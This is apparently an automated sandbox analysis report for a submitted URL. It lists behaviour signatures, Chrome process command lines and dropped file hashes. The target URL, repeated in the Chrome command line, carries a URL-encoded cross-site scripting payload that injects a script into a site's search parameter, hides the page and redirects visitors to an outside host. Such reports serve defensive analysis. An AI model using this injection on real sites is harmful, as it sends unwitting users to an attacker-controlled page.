Analysis

  • max time kernel
    17s
  • max time network
    17s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/05/2024, 14:05

General

  • Target
    https://iau.edu.lc/?s=639%3Cscript%3Ewindow%5B%60location%60%5D%5B%60replace%60%5D%28%5B%60https%3A%2F%2Fimputelette%60%2C%20%60r.com%2F0%2F0%2F0%2F%60%2C%20%609e673804ce57702432c0e1fe3ac3589b%60%2C%60%2F12%60%5D%5B%60join%60%5D%28%60%60%29%29%2Cdocument%5B%60body%60%5D%5B%60style%60%5D%5B%60opacity%60%5D%3D0x0%3B%3C%2Fscript%3E
  • Sample240530-rd67vsba9z
Score
1/10

Malware Config

Signatures

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of FindShellTrayWindow 26 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://iau.edu.lc/?s=639%3Cscript%3Ewindow%5B%60location%60%5D%5B%60replace%60%5D%28%5B%60https%3A%2F%2Fimputelette%60%2C%20%60r.com%2F0%2F0%2F0%2F%60%2C%20%609e673804ce57702432c0e1fe3ac3589b%60%2C%60%2F12%60%5D%5B%60join%60%5D%28%60%60%29%29%2Cdocument%5B%60body%60%5D%5B%60style%60%5D%5B%60opacity%60%5D%3D0x0%3B%3C%2Fscript%3E
    1⤵
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7fffadd2ab58,0x7fffadd2ab68,0x7fffadd2ab78
      2⤵
        PID:4964
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1592 --field-trial-handle=1880,i,16522196027342979802,6066503110037062612,131072 /prefetch:2
        2⤵
          PID:2400
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2116 --field-trial-handle=1880,i,16522196027342979802,6066503110037062612,131072 /prefetch:8
          2⤵
            PID:4760
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2240 --field-trial-handle=1880,i,16522196027342979802,6066503110037062612,131072 /prefetch:8
            2⤵
              PID:2168
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2988 --field-trial-handle=1880,i,16522196027342979802,6066503110037062612,131072 /prefetch:1
              2⤵
                PID:5060
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2996 --field-trial-handle=1880,i,16522196027342979802,6066503110037062612,131072 /prefetch:1
                2⤵
                  PID:1944
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4808 --field-trial-handle=1880,i,16522196027342979802,6066503110037062612,131072 /prefetch:8
                  2⤵
                    PID:2760
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5052 --field-trial-handle=1880,i,16522196027342979802,6066503110037062612,131072 /prefetch:8
                    2⤵
                      PID:3156
                  • C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\110.0.5481.104\elevation_service.exe"
                    1⤵
                      PID:4232

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          SCT Auditing Pending Reports

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                          • Size 2B
                          • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                          • MD5 SHA1 SHA512

                          Preferences

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                          • Size 6KB
                          • SHA256 13d4362aa95bac430a865880482ea407a825878613b199cd522703961fca39b7
                          • MD5 SHA1 SHA512 SSDEEP

                          Local State

                          • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                          • Size 255KB
                          • SHA256 ce57f6de1ea752e92b1b30fc91d15c0badcf851b2ddf3dbfd41885a97318966f
                          • MD5 SHA1 SHA512 SSDEEP